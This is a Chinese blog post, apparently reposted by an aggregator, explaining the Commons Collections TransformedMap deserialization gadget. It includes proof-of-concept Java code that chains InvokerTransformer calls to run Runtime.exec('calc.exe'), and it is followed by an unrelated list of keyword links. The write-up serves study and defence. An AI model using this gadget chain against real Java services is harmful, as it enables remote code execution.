java反序列化 - transformedMap类可以执行恶意代码的原理
发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,java反序列化 - transformedMap类可以执行恶意代码的原理0x00 代码Map map=new HashMap(); map.put("key","value");
千家信息网最后更新 2025年01月20日java反序列化 - transformedMap类可以执行恶意代码的原理
java反序列化 - transformedMap类可以执行恶意代码的原理
0x00 代码
Map map=new HashMap(); map.put("key","value"); //调用目标对象的toString方法 String command="calc.exe"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs) }; Transformer transformer=new ChainedTransformer(transformers); Map transformedMap=TransformedMap.decorate(map,null,transformer); for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }
执行结果:
0x01 transformedMap类为什么可以执行恶意代码?
通过上一篇https://blog.51cto.com/13770310/2160737文章, 可知ChainedTransformer的transformer方法可以执行恶意代码。
上述代码的关键是:
for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }
为什么执行了 entry.setValue("anything");就可以造成恶意代码执行呢?接下来我们看transformedMap类的checkSetValue方法:
/** * Override to transform the value when using setValue
. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
当transformedMap对象执行setValue方法时会调用valueTransformer的transform方法,如果传入的valueTransformer是ChainedTransformer的对象,那不就可以造成恶意代码执行了吗。
接着查看上面代码:
因此该代码的核心还是使用的ChainedTransformer的transformer方法
代码
方法
恶意
对象
原理
序列
接下来
关键
文章
核心
目标
结果
还是
上一
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
数据库datetime类型
北信源网络安全产业园
微信服务器无响应怎么办
软件开发感兴趣的研究课题
服务器切换ip
网络安全周发言200字
软件开发经理年薪
架构游戏服务器
青岛皮肤管理服务器
开源软件开发服务至上
网络安全月宣传活动方案
c 服务器开发
江苏通用软件开发销售价格
学校数据库实习报告
职工泄密网络安全检查
csgo更换服务器插件
大天使之剑修改数据库
网络安全协议考试
sql数据库完全备份
浙江省网络安全会议
在数据库中BDF是什么
安卓与服务器http通信
数据库管理工作方案
沙漠地图的服务器在哪里
私募公司服务器数据内容
求购二手服务器
地税局网络安全现状检查
pubg能选择服务器吗
格来云游戏服务器未连接
对于网络安全的理解和认识